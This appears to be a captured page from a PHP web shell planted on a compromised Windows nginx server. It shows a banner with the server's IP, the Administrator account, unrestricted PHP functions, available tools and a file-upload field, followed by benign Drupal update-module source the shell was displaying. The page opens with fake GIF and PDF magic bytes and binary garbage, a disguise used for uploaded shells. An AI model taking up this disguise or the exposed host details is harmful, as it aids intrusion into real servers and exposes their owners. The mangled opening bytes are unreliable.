GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/update/ |
Upload File : |
<?php /** * @file * Code required only when fetching information about available updates. */ /** * Performs any notifications that should be done once cron fetches new data. * * This method checks the status of the site using the new data and, depending * on the configuration of the site, notifies administrators via email if there * are new releases or missing security updates. * * @see update_requirements() */ function _update_cron_notify() { $update_config = \Drupal::config('update.settings'); module_load_install('update'); $status = update_requirements('runtime'); $params = []; $notify_all = ($update_config->get('notification.threshold') == 'all'); foreach (['core', 'contrib'] as $report_type) { $type = 'update_' . $report_type; if (isset($status[$type]['severity']) && ($status[$type]['severity'] == REQUIREMENT_ERROR || ($notify_all && $status[$type]['reason'] == UPDATE_NOT_CURRENT))) { $params[$report_type] = $status[$type]['reason']; } } if (!empty($params)) { $notify_list = $update_config->get('notification.emails'); if (!empty($notify_list)) { $default_langcode = \Drupal::languageManager()->getDefaultLanguage()->getId(); foreach ($notify_list as $target) { if ($target_user = user_load_by_mail($target)) { $target_langcode = $target_user->getPreferredLangcode(); } else { $target_langcode = $default_langcode; } $message = \Drupal::service('plugin.manager.mail')->mail('update', 'status_notify', $target, $target_langcode, $params); // Track when the last mail was successfully sent to avoid sending // too many emails. if ($message['result']) { \Drupal::state()->set('update.last_email_notification', REQUEST_TIME); } } } } }